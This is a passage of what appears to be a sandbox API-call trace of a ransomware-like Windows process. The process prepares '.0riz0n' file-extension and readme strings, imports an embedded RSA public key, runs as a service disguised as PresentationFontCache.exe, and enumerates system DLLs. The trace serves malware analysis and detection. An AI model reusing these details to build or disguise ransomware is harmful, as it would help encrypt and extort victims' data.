CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c2c8, cbMultiByte=11, lpWideCharStr=0xb3dd88, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c160, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c160, cbMultiByte=7, lpWideCharStr=0xb3ddb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpWideCharStr=0xb3e048, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0241.584] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x9b2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b2850, cbMultiByte=14, lpWideCharStr=0xb3e0d0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0241.584] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x9b2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b2850, cbMultiByte=10, lpWideCharStr=0xb3e158, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0241.584] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x9b2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0241.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b2850, cbMultiByte=15, lpWideCharStr=0xb3e1e0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0241.585] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x9b2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0241.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0241.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b2850, cbMultiByte=56, lpWideCharStr=0xb3e268, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0241.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b5058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0241.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b5058, cbMultiByte=7, lpWideCharStr=0xb3e2f0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0241.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0241.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9b5058, cbMultiByte=14, lpWideCharStr=0xb3e378, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0241.585] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0241.585] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x4ef574, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x4ef574, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0241.586] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x9b7e80, pcbBinary=0x4ef574, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x9b7e80, pcbBinary=0x4ef574, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0241.586] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x9b7e80, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x4ef574 | out: pvStructInfo=0x0, pcbStructInfo=0x4ef574) returned 1 [0241.590] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x9b7e80, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x9b80c8, pcbStructInfo=0x4ef574 | out: pvStructInfo=0x9b80c8, pcbStructInfo=0x4ef574) returned 1 [0241.590] CryptImportPublicKeyInfo (in: hCryptProv=0x8cdda8, dwCertEncodingType=0x10001, pInfo=0x9b80c8*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x9b80f8*, PublicKey.cbData=0x20e, PublicKey.pbData=0x9b8100*, PublicKey.cUnusedBits=0x0), phKey=0x4ef578 | out: phKey=0x4ef578*=0x8cdd68) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b80c8) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b7e80) returned 1 [0241.592] ReleaseMutex (hMutex=0xa0) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b5058) returned 1 [0241.592] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x2800) returned 0x9b5058 [0241.592] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c988 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c988) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b5058) returned 1 [0241.592] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x2800) returned 0x9b5058 [0241.592] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c988 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c988) returned 1 [0241.592] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c988 [0241.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c988, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0241.592] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e2f0 [0241.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3c988, cbMultiByte=9, lpWideCharStr=0xb3e2f0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0241.592] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e378 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e2f0) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e378) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c988) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b5058) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b2850) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c160) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d2e0) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c2c8) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d2f0) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.592] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d300) returned 1 [0241.593] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.593] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d310) returned 1 [0241.593] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3d670) returned 1 [0241.593] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0241.593] StartServiceCtrlDispatcherW (lpServiceTable=0x4ef640*(lpServiceName="", lpServiceProc=0x33d040)) Thread: id = 980 os_tid = 0xae0 Thread: id = 981 os_tid = 0xae4 Thread: id = 982 os_tid = 0xae8 Thread: id = 983 os_tid = 0xaec [0241.662] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x33ce51) returned 0x8ce760 [0241.662] SetServiceStatus (hServiceStatus=0x8ce760, lpServiceStatus=0x192faa8*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0241.735] GetCommandLineW () returned="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" [0241.735] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e378 [0241.735] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x5c) returned 0xb3df20 [0241.735] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e2f0 [0241.735] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e400 [0241.735] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e488 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e510 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e598 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e620 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e6a8 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e730 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e7b8 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e840 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e8c8 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x100) returned 0x9b7e80 [0241.736] GetSystemWow64DirectoryW (in: lpBuffer=0x9b7e80, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0241.736] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0x9b7e80) returned 1 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e950 [0241.736] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e950) returned 1 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e950 [0241.736] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x192f804, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x192f804) returned 0x8d0078 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.736] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.736] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.736] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.736] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.736] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.736] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0241.739] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.739] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.739] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0xb3c1a8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0241.739] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.739] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.739] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.739] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.739] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.739] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0241.739] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.739] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.739] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.739] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.739] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.739] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.739] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.740] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.740] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0xb3c310, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.740] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.740] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.740] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.740] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.741] RtlAllocateHeap (HeapHandle=0xb30000, 